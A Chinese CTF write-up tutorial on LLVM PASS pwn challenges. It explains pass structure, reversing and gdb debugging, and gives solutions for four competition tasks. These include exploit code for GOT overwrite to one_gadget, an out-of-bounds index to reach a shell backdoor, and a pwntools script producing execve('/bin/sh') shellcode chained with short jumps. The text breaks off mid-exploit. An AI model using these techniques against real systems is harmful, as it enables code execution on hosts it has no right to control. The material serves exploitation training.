查看原文
其他

LLVM PASS PWN 总结

winmt 看雪学苑 2022-09-22


本文为看雪论坛精华文章

看雪论坛作者ID:winmt





前言


近期的比赛里出现了两次LLVM PASS PWN类的题目(CISCN初赛和强网杯),但是自己一直没去研究。最近刚开学还算比较闲,就看了一下LLVM PASS PWN类的题目,这篇文章记录一下自己对此类题目的总结吧。




LLVM PASS 简介


LLVM是C++编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。

LLVM Pass可用于对代码进行优化或者对代码插桩(插入新代码),LLVM的核心库中提供了一些Pass类可以继承,通过实现它的一些方法,可以对传入的LLVM IR进行遍历并操作。

LLVM IR即代码的中间表示,有三种形式:
  1. .ll 格式:人类可以阅读的文本
  2. .bc 格式:适合机器存储的二进制文件
  3. 内存表示

下面给出.ll格式和.bc格式生成及相互转换的常用指令清单:
.c -> .ll:clang -emit-llvm -S a.c -o a.ll.c -> .bc: clang -emit-llvm -c a.c -o a.bc.ll -> .bc: llvm-as a.ll -o a.bc.bc -> .ll: llvm-dis a.bc -o a.ll.bc -> .s: llc a.bc -o a.s





准备工作及注意点


需要安装CTF题目中常用的三个版本的clang及LLVM:
sudo apt install clang-8sudo apt install llvm-8 sudo apt install clang-10sudo apt install llvm-10 sudo apt install clang-12sudo apt install llvm-12

opt是LLVM的优化器和分析器,可加载指定的模块,对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件(可用./opt --version查看版本)或者在README文档中告知opt版本。安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件(一般不开PIE保护)。
需要注意的是,最好使用题目所给opt同版本的clang生成ll或bc文件。如:题目所给的文件是opt-8,就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll命令。

LLVM PASS类题目都会给出一个xxx.so,即自定义的LLVM PASS模块,漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析(其中-xxx是xxx.so中注册的PASS的名称,README文档中一般会给出,也可以通过逆向PASS模块得到)。需要注意的是,若题目给了opt文件,就用题目指定的opt文件启动LLVM并调试(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系统安装的opt,可能会和题目所给的有不同。

在打远程的时候,与内核和QEMU逃逸的题类似:将exp.ll或exp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。




尝试编写第一个LLVM PASS


参考官方文档:https://llvm.org/docs/WritingAnLLVMPass.html

这里魔改了一下官方文档中给出的Hello Pass,加入了一些CTF题中常见的LLVM语法:
// Hello.cpp#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/IR/Constants.h"#include "llvm/IR/BasicBlock.h"#include "llvm/IR/Instructions.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm; namespace { struct Hello : public FunctionPass { static char ID; Hello() : FunctionPass(ID) {} bool runOnFunction(Function &F) override { errs() << "Hello: "; errs().write_escaped(F.getName()) << '\n'; SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end(); for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){ SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin(); SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end(); for(; instIter != instEnd; ++instIter){ errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n"; if (instIter->getOpcode() == 56) { if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) { errs() << call_inst->getCalledFunction()->getName() << "\n"; for (int i = 0; i < instIter->getNumOperands()-1; i++) { if (isa<ConstantInt>(call_inst->getOperand(i))) { errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "\n"; } } } } } } return false; } };} char Hello::ID = 0; // Register for optstatic RegisterPass<Hello> X("Hello", "Hello World Pass"); // Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible, [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) { PM.add(new Hello()); });

通过如下命令,可将其编译为LLVMHello.so模块:
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类,并重写了其中的runOnFunction函数(一般的CTF题都是如此)。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。

下面解释一下上述代码中的一些常用LLVM语法:

1、getName()函数用于获取当前runOnFunction正处理的函数名。

2、第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历。

3、getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:
...HANDLE_OTHER_INST(56, Call , CallInst ) // Call a function...

4、当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。

5、getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。

6、再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。

7、if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。

8、static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。

下面写一个用于测试的程序:
// test.c#include <stdio.h>#include <unistd.h> int main(){ char name[0x10]; puts("Please tell me your name:"); read(0, name, 0x10); printf("Hello: "); write(1, name, 0x10);}

通过clang -emit-llvm -S test.c -o test.ll命令将其生成为LLVM IR(笔者本地的clang版本为10.0.0-4ubuntu1):
; ModuleID = 'test.c'source_filename = "test.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:\00", align 1@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: \00", align 1 ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i32 @main() #0 { %1 = alloca [16 x i8], align 16 %2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0)) %3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0 %4 = call i64 @read(i32 0, i8* %3, i64 16) %5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0)) %6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0 %7 = call i64 @write(i32 1, i8* %6, i64 16) ret i32 0} declare dso_local i32 @puts(i8*) #1 declare dso_local i64 @read(i32, i8*, i64) #1 declare dso_local i32 @printf(i8*, ...) #1 declare dso_local i64 @write(i32, i8*, i64) #1 attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 10.0.0-4ubuntu1 "}

接着,通过opt -load ./LLVMHello.so -Hello test.ll命令运行,得到如下结果:
Hello: mainOpcodeName = alloca NumOperands = 1OpcodeName = call NumOperands = 2putsOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4readOperand 0 = 0Operand 2 = 16OpcodeName = call NumOperands = 2printfOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4writeOperand 0 = 1Operand 2 = 16OpcodeName = ret NumOperands = 1

读者可结合上述内容再好好理解一下LLVM IR和LLVM PASS的相关语法。




逆向分析so模块


一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?
如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。

至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:
例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。

当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。




gdb调试方法


接下来介绍一下如何用gdb调试LLVM的题。

首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:
不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:
下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。
值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:







红帽杯-2021 simpleVM


用上述介绍的方法确定PASS名为VMPass,重写的runOnFunction函数是sub_6830。

当函数名为o0o0o0o0时,会最终进入sub_6B80函数。
其中,当在o0o0o0o0函数中调用pop(),push(),store(),load(),add(),min()函数的时候都各自定义了不同的操作。
add()和min()是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。
store()和load()也是一堆函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中(store()任意地址写漏洞)。
由于opt一般是不会开PIE保护的,故这里可以考虑先利用任意地址读漏洞通过opt中任意一个函数的got表拿到libc地址,并用add和min函数对其修改,再利用任意地址写漏洞来劫持opt中的某个got表为one_gadget即可。

简单说一下如何确定改哪个got表为one_gadget能打通:在上文中给出了从main函数调用到重写的runOnFunction函数的调用链,我们将<main+11507>处的call跳过,之后调用的函数的got表都能改,调试下如何改能满足one_gadget条件即可。

笔者测试的环境为Ubuntu 20.04,对应libc-2.31 9.9版本,exp如下:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid add(int num, long long val);void min(int num, long long val);void load(int num);void store(int num); void o0o0o0o0(){ add(1, 0x77E100); load(1); min(2, 0x9a6d0); add(2, 0xe3afe); add(1, 0x870); store(1);}





CISCN-2021 satool


重写的runOnFunction函数为sub_19D0,PASS名为SAPass。

首先,由于是小端序,容易看出会对函数B4ckDo0r进行操作:
但是,接下来的代码比较难看懂。仔细分析后,可以发现其中有大量对LLVM IR合法性的判断和报错信息的输出,这些其实都是可以去掉的,因为我们正常生成的LLVM IR都是合法的。

这题反编译的其他一些地方也比较奇怪,可能需要配合一些调试才能搞清楚。

通过调试,可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )这类语句都是判断是否在B4ckDo0r中调用了某个函数(如save()),并对其进行一系列操作。此外,如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2这类语句的左侧就是取调用的这个函数的参数个数。

如下对save函数操作的有效部分中,通过调试可以确定v25和v30就是传入的两个参数,之后会将其均复制入分配的0x20大小的堆块中,由此也可以推断出其类型应该为char *:
由上图可知,byte_2040f8是堆块地址,stealkey会将堆块中的值(首八字节)给byte_204100变量:
在对stealkey函数操作的过程中,经调试,此处的getSExtValue取的是其第一个参数的值,然后会将堆块中原有的值加上这个参数:
最后,很明显,可以通过run函数,将堆块中的值作为函数指针直接执行:
因此,思路就很显然了,通过申请的堆块中残留的libc地址加上某个偏移到one_gadget,然后直接run就行了。

本机libc是glibc 2.31-9.9版本,下个断点在malloc(0x18)前,查看一下堆块布局:
可见,只要取走tcache里0x20的一个堆块,再申请的0x20的堆块就会从smallbin里取了,也就会有libc地址残留了(main_arena+112)。

由以上分析,可写出如下exp:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid save(char *a, char *b);void stealkey();void fakekey(long long x);void run(); void B4ckDo0r(){ save("\n", "\n"); save("", "\n"); stealkey(); fakekey(-0x1ecbf0+0xe3afe); run();}





强网杯-2022 yakagame


本题重写的runOnFunction函数为sub_C880,PASS名称为ayaka。

首先,本题会对gamestart函数进行优化操作:
可以看到在对调用fight函数的操作中,当score指针指向的值大于0x12345678,就可以调用到后门函数:
后门函数如下图,只要控制好cmd指针指向的字符串,就可以执行任意命令了:
如何触发后门函数呢?weaponlist[]数组是char类型的,即单字节,就算比boss值要大,其差值也不可能大于0x12345678。

继续往后看,后面逆向也都不难,merge函数可以将一个weaponlist的值加到另一个上,destroy可以将指定weaponlist清零,upgrade可以将所有weaponlist的值都加上某一个数值。

接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidao,zhanjinniuza,guobapenhuo,tiandongwanxiang可以对cmd字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd字符串原有的内容解密成某个命令。

cmd开始是由src复制过来的,其中内容如下所示:
可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。

后面就是一个else条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL里的map,map可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123就将abc这个字符串与123这个数值间建立了映射关系,并且在通过迭代器遍历map的时候,关键字abc会在关键字abd之前遍历到。
在这个else分支中,会先遍历map,查找是否有调用的这个函数名作为key,其第一个参数作为value的映射关系。若是有,则会将weaponlist[]数组下标对应map中此映射关系位置的值改为这个value。若没有,则会将这个新映射关系加入map中。

我们注意到,此处的v33是有符号的char类型,其范围是-128~127,故当map中映射关系很多的时候,v33会是负数,此处也就存在一个数组下标越界的漏洞了。
如上图,可以看到cmd指针和score指针都在weaponlist之前,故可以通过这个数组下标越界漏洞,修改score指针的最后一字节,使其错位,从而指向很大的数字,触发后门函数。

由于opt没开PIE保护,故直接将cmd指针指向opt中的某个字符串末尾的sh即可:
最终,可写出exp如下:

// clang-8 -emit-llvm -S exp.c -o exp.llvoid winmt000(int x);void winmt001(int x);void winmt002(int x);void winmt003(int x);void winmt004(int x);void winmt005(int x);void winmt006(int x);void winmt007(int x);void winmt008(int x);void winmt009(int x);void winmt010(int x);void winmt011(int x);void winmt012(int x);void winmt013(int x);void winmt014(int x);void winmt015(int x);void winmt016(int x);void winmt017(int x);void winmt018(int x);void winmt019(int x);void winmt020(int x);void winmt021(int x);void winmt022(int x);void winmt023(int x);void winmt024(int x);void winmt025(int x);void winmt026(int x);void winmt027(int x);void winmt028(int x);void winmt029(int x);void winmt030(int x);void winmt031(int x);void winmt032(int x);void winmt033(int x);void winmt034(int x);void winmt035(int x);void winmt036(int x);void winmt037(int x);void winmt038(int x);void winmt039(int x);void winmt040(int x);void winmt041(int x);void winmt042(int x);void winmt043(int x);void winmt044(int x);void winmt045(int x);void winmt046(int x);void winmt047(int x);void winmt048(int x);void winmt049(int x);void winmt050(int x);void winmt051(int x);void winmt052(int x);void winmt053(int x);void winmt054(int x);void winmt055(int x);void winmt056(int x);void winmt057(int x);void winmt058(int x);void winmt059(int x);void winmt060(int x);void winmt061(int x);void winmt062(int x);void winmt063(int x);void winmt064(int x);void winmt065(int x);void winmt066(int x);void winmt067(int x);void winmt068(int x);void winmt069(int x);void winmt070(int x);void winmt071(int x);void winmt072(int x);void winmt073(int x);void winmt074(int x);void winmt075(int x);void winmt076(int x);void winmt077(int x);void winmt078(int x);void winmt079(int x);void winmt080(int x);void winmt081(int x);void winmt082(int x);void winmt083(int x);void winmt084(int x);void winmt085(int x);void winmt086(int x);void winmt087(int x);void winmt088(int x);void winmt089(int x);void winmt090(int x);void winmt091(int x);void winmt092(int x);void winmt093(int x);void winmt094(int x);void winmt095(int x);void winmt096(int x);void winmt097(int x);void winmt098(int x);void winmt099(int x);void winmt100(int x);void winmt101(int x);void winmt102(int x);void winmt103(int x);void winmt104(int x);void winmt105(int x);void winmt106(int x);void winmt107(int x);void winmt108(int x);void winmt109(int x);void winmt110(int x);void winmt111(int x);void winmt112(int x);void winmt113(int x);void winmt114(int x);void winmt115(int x);void winmt116(int x);void winmt117(int x);void winmt118(int x);void winmt119(int x);void winmt120(int x);void winmt121(int x);void winmt122(int x);void winmt123(int x);void winmt124(int x);void winmt125(int x);void winmt126(int x);void winmt127(int x);void winmt128(int x);void winmt129(int x);void winmt130(int x);void winmt131(int x);void winmt132(int x);void winmt133(int x);void winmt134(int x);void winmt135(int x);void winmt136(int x);void winmt137(int x);void winmt138(int x);void winmt139(int x);void winmt140(int x);void winmt141(int x);void winmt142(int x);void winmt143(int x);void winmt144(int x);void winmt145(int x);void winmt146(int x);void winmt147(int x);void winmt148(int x);void winmt149(int x);void winmt150(int x);void winmt151(int x);void winmt152(int x);void winmt153(int x);void winmt154(int x);void winmt155(int x);void winmt156(int x);void winmt157(int x);void winmt158(int x);void winmt159(int x);void winmt160(int x);void winmt161(int x);void winmt162(int x);void winmt163(int x);void winmt164(int x);void winmt165(int x);void winmt166(int x);void winmt167(int x);void winmt168(int x);void winmt169(int x);void winmt170(int x);void winmt171(int x);void winmt172(int x);void winmt173(int x);void winmt174(int x);void winmt175(int x);void winmt176(int x);void winmt177(int x);void winmt178(int x);void winmt179(int x);void winmt180(int x);void winmt181(int x);void winmt182(int x);void winmt183(int x);void winmt184(int x);void winmt185(int x);void winmt186(int x);void winmt187(int x);void winmt188(int x);void winmt189(int x);void winmt190(int x);void winmt191(int x);void winmt192(int x);void winmt193(int x);void winmt194(int x);void winmt195(int x);void winmt196(int x);void winmt197(int x);void winmt198(int x);void winmt199(int x);void winmt200(int x);void winmt201(int x);void winmt202(int x);void winmt203(int x);void winmt204(int x);void winmt205(int x);void winmt206(int x);void winmt207(int x);void winmt208(int x);void winmt209(int x);void winmt210(int x);void winmt211(int x);void winmt212(int x);void winmt213(int x);void winmt214(int x);void winmt215(int x);void winmt216(int x);void winmt217(int x);void winmt218(int x);void winmt219(int x);void winmt220(int x);void winmt221(int x);void winmt222(int x);void winmt223(int x);void winmt224(int x);void winmt225(int x);void winmt226(int x);void winmt227(int x);void winmt228(int x);void winmt229(int x);void winmt230(int x);void winmt231(int x);void winmt232(int x);void winmt233(int x);void winmt234(int x);void winmt235(int x);void winmt236(int x);void winmt237(int x);void winmt238(int x);void winmt239(int x);void winmt240(int x); void fight(int x); void gamestart(){ winmt000(0); winmt001(0); winmt002(0); winmt003(0); winmt004(0); winmt005(0); winmt006(0); winmt007(0); winmt008(0); winmt009(0); winmt010(0); winmt011(0); winmt012(0); winmt013(0); winmt014(0); winmt015(0); winmt016(0); winmt017(0); winmt018(0); winmt019(0); winmt020(0); winmt021(0); winmt022(0); winmt023(0); winmt024(0); winmt025(0); winmt026(0); winmt027(0); winmt028(0); winmt029(0); winmt030(0); winmt031(0); winmt032(0); winmt033(0); winmt034(0); winmt035(0); winmt036(0); winmt037(0); winmt038(0); winmt039(0); winmt040(0); winmt041(0); winmt042(0); winmt043(0); winmt044(0); winmt045(0); winmt046(0); winmt047(0); winmt048(0); winmt049(0); winmt050(0); winmt051(0); winmt052(0); winmt053(0); winmt054(0); winmt055(0); winmt056(0); winmt057(0); winmt058(0); winmt059(0); winmt060(0); winmt061(0); winmt062(0); winmt063(0); winmt064(0); winmt065(0); winmt066(0); winmt067(0); winmt068(0); winmt069(0); winmt070(0); winmt071(0); winmt072(0); winmt073(0); winmt074(0); winmt075(0); winmt076(0); winmt077(0); winmt078(0); winmt079(0); winmt080(0); winmt081(0); winmt082(0); winmt083(0); winmt084(0); winmt085(0); winmt086(0); winmt087(0); winmt088(0); winmt089(0); winmt090(0); winmt091(0); winmt092(0); winmt093(0); winmt094(0); winmt095(0); winmt096(0); winmt097(0); winmt098(0); winmt099(0); winmt100(0); winmt101(0); winmt102(0); winmt103(0); winmt104(0); winmt105(0); winmt106(0); winmt107(0); winmt108(0); winmt109(0); winmt110(0); winmt111(0); winmt112(0); winmt113(0); winmt114(0); winmt115(0); winmt116(0); winmt117(0); winmt118(0); winmt119(0); winmt120(0); winmt121(0); winmt122(0); winmt123(0); winmt124(0); winmt125(0); winmt126(0); winmt127(0); winmt128(0); winmt129(0); winmt130(0); winmt131(0); winmt132(0); winmt133(0); winmt134(0); winmt135(0); winmt136(0); winmt137(0); winmt138(0); winmt139(0); winmt140(0); winmt141(0); winmt142(0); winmt143(0); winmt144(0); winmt145(0); winmt146(0); winmt147(0); winmt148(0); winmt149(0); winmt150(0); winmt151(0); winmt152(0); winmt153(0); winmt154(0); winmt155(0); winmt156(0); winmt157(0); winmt158(0); winmt159(0); winmt160(0); winmt161(0); winmt162(0); winmt163(0); winmt164(0); winmt165(0); winmt166(0); winmt167(0); winmt168(0); winmt169(0); winmt170(0); winmt171(0); winmt172(0); winmt173(0); winmt174(0); winmt175(0); winmt176(0); winmt177(0); winmt178(0); winmt179(0); winmt180(0); winmt181(0); winmt182(0); winmt183(0); winmt184(0); winmt185(0); winmt186(0); winmt187(0); winmt188(0); winmt189(0); winmt190(0); winmt191(0); winmt192(0); winmt193(0); winmt194(0); winmt195(0); winmt196(0); winmt197(0); winmt198(0); winmt199(0); winmt200(0); winmt201(0); winmt202(0); winmt203(0); winmt204(0); winmt205(0); winmt206(0); winmt207(0); winmt208(0); winmt209(0); winmt210(0); winmt211(0); winmt212(0); winmt213(0); winmt214(0); winmt215(0); winmt216(0); winmt217(0); winmt218(0); winmt219(0); winmt220(0); winmt221(0); winmt222(0); winmt223(0); winmt224(0); winmt225(0); winmt226(0); winmt227(0); winmt228(0); winmt229(0); winmt230(0); winmt231(0); winmt232(0x6B); winmt233(0x69); winmt234(0x44); winmt235(0x00); winmt236(0); winmt237(0); winmt238(0); winmt239(0); winmt240(0x90); winmt240(0x90); winmt232(0x6B); winmt233(0x69); winmt234(0x44); winmt235(0x00); fight(0);}





CISCN-2022 satool


这题没去符号,重写的runOnFunction函数就叫'anonymous namespace'::MBAPass::runOnFunction,LLVM PASS的名称是mba。

首先,很容易注意到如下几行代码:
先是将this[4]段的权限改为可读可写,然后执行handle函数,再将此段权限改为可读可执行,然后执行callCode函数:
这里直接执行了this[4]段上的shellcode。

通过调试,可以知道this[4]段初始化全是0xc3,也就对应ret指令。因此,思路其实很显然,通过handle函数,往this[4]段上写入shellcode,然后跳转执行即可。此题对函数名没有要求,任何函数都能被同样地进行这些操作。
如上图,这题是倒序对基本块中的指令进行处理的,getTerminator函数是取末尾的指令,第一个if判断末尾指令的第一个操作数是否是常数,第二个else if判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else的分支。

先分析一下出题人自定义的几个往this[4]段写汇编指令的函数:

1.writeMovImm64函数
很明显,this[5]是存放着目前汇编指令写到了何处的指针。当writeMovImm64函数的第二个参数为0时,写入的汇编指令是0x480xB8加上第三个参数作为立即数,当writeMovImm64函数的第二个参数为1时,写入的汇编指令是0x480xBB加上第三个参数作为立即数。
测试了一下,得到writeMovImm64(this, 0, val)是写入movabs rax, val指令,writeMovImm64(this, 1, val)是写入movabs rbx, val指令,其中val可以是八字节数,共十字节。

2.writeInc函数
同理,可分析出是写入inc rax指令,三字节。

3.writeOpReg函数
同理,可分析出是写入add rax, rbx指令,三字节。

4.writeRet函数
同理,可分析出是写入ret指令,一字节。

再回到else分支中,首先写入了movabs rax, 0指令,v30是this[4]段首地址加上0xff0后的地址,定义了两个C++ STL的stack,其中v25存放一个数,之后可用来控制正负,初始值为1,v26存放着操作数,首先压进栈了最后一条指令ret i64 %xxx中的操作数xxx(即一个变量)。然后进入了一个while循环,当写入的汇编指令长度大于0xff0就会退出循环,或者当v26的栈为空时,会写入一个ret指令,然后跳转循环。
然后,在while循环中,每次会弹出两个栈的栈顶元素,然后再通过v26栈弹出的变量,找到LLVM IR中对应这个变量操作的指令行。接着,获取了这行指令的操作符,只能为13(add)或15(sub),这个在/usr/include/llvm-xx/llvm/IR/Instruction.def可查到。之后,又取了这行指令的两个操作数,如果操作数val是常数:若为±1,则写入inc rax指令,否则写入movabs rbx, val(*v22); add rax, rbx指令,其中v22是从v25栈顶取出的数,默认为1。如果操作数不是常数也非参数,就说明是个变量,那么就压入栈中。
如果操作符是sub,那么就将从v25栈顶取出的数v22取反,然后再执行一遍上述过程,这样之后加上第二个操作数val乘上v22的结果就相当于减去val了。

至此,本题核心部分基本都逆向完成了。然而,我们只能往this[4]段写入指定的几个指令,没法直接写入可拿到权限的shellcode。注意到,当我们往this[4]段写入超过0xff0长度几个字节也是可以的,不过在写完之后会直接退出while循环,也就不会在最后写入ret指令了,但是由于this[4]段初始都是ret指令,占一个字节,所以即使有字节超出,最后仍然是ret指令,执行完写入的汇编指令也可以回去,进行第二次汇编指令的读入。

于是我们想到,可以第一次先向this[4]段写入0xff0个字节加上超过几个字节,让超过的几个字节中存在某个跳转指令,然后第二次再向this[4]段写入指令到第一次超出的字节中的跳转指令之前,这样最后就能成功执行第一次超出字节中的跳转指令了。

这里我们采用短跳转指令(jmp short xxx)比较方便,其中xxx是相对于这条短跳转指令的偏移(范围是-128~127),也就是无条件跳转到此偏移的位置。jmp short对应的机器码是0xEB,后面再加上一个字节的偏移(负数用补码)即可,一个短跳转指令共两个字节。

我们肯定是想最后跳转到shellcode上的,但是shellcode改写在哪里呢?我们可控的部分只有每条movabs rbx, xxx指令中xxx位置的八个字节,于是我们可以在这些地方写入一行行的shellcode,并用nop空指令补全六位以后,在之后写上两个字节的短跳转指令,跳转到下一行shellcode即可,这样就能顺利地执行到任意shellcode了,如下图:
至于具体的构造方式,其实随意怎么样都行,这里就不展开说了,直接给出生成shellcode的脚本:
from pwn import*context(os = 'linux', arch = 'amd64') shellcode = [ "mov edi, 0x68732f6e", "shl rdi, 24", "mov ebx, 0x69622f", "add rdi, rbx", "push rdi", "push rsp", "pop rdi", "xor rsi, rsi", "xor rdx, rdx", "push 59", "pop rax", "syscall"] for sc in shellcode: print(u64(asm(sc).ljust(6, b'\x90') + b'\xEB\xEB')) print(u16(b'\xEB\xE4')) # 最后超出0xff0字节部分的跳转指令

由于这题的LLVM IR中指令的操作符只能是add或sub,故不能用C语言直接编译生成LLVM IR文件,不然会有很多其他的操作符。所以建议先用C语言写两个空函数,再通过clang-12对其编译生成ll文件,然后直接在ll文件中仿照之前的题目手写LLVM IR即可。

最终写出的exp.ll如下:
; ModuleID = 'exp.c'source_filename = "exp.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload1(i64 %0) #0 { %2 = add nsw i64 %0, 58603 %3 = add nsw i64 %2, 1024 %4 = add nsw i64 %3, 1024 %5 = add nsw i64 %4, 1024 %6 = add nsw i64 %5, 1024 %7 = add nsw i64 %6, 1024 %8 = add nsw i64 %7, 1024 %9 = add nsw i64 %8, 1024 %10 = add nsw i64 %9, 1024 %11 = add nsw i64 %10, 1024 %12 = add nsw i64 %11, 1024 %13 = add nsw i64 %12, 1024 %14 = add nsw i64 %13, 1024 %15 = add nsw i64 %14, 1024 %16 = add nsw i64 %15, 1024 %17 = add nsw i64 %16, 1024 %18 = add nsw i64 %17, 1024 %19 = add nsw i64 %18, 1024 %20 = add nsw i64 %19, 1024 %21 = add nsw i64 %20, 1024 %22 = add nsw i64 %21, 1024 %23 = add nsw i64 %22, 1024 %24 = add nsw i64 %23, 1024 %25 = add nsw i64 %24, 1024 %26 = add nsw i64 %25, 1024 %27 = add nsw i64 %26, 1024 %28 = add nsw i64 %27, 1024 %29 = add nsw i64 %28, 1024 %30 = add nsw i64 %29, 1024 %31 = add nsw i64 %30, 1024 %32 = add nsw i64 %31, 1024 %33 = add nsw i64 %32, 1024 %34 = add nsw i64 %33, 1024 %35 = add nsw i64 %34, 1024 %36 = add nsw i64 %35, 1024 %37 = add nsw i64 %36, 1024 %38 = add nsw i64 %37, 1024 %39 = add nsw i64 %38, 1024 %40 = add nsw i64 %39, 1024 %41 = add nsw i64 %40, 1024 %42 = add nsw i64 %41, 1024 %43 = add nsw i64 %42, 1024 %44 = add nsw i64 %43, 1024 %45 = add nsw i64 %44, 1024 %46 = add nsw i64 %45, 1024 %47 = add nsw i64 %46, 1024 %48 = add nsw i64 %47, 1024 %49 = add nsw i64 %48, 1024 %50 = add nsw i64 %49, 1024 %51 = add nsw i64 %50, 1024 %52 = add nsw i64 %51, 1024 %53 = add nsw i64 %52, 1024 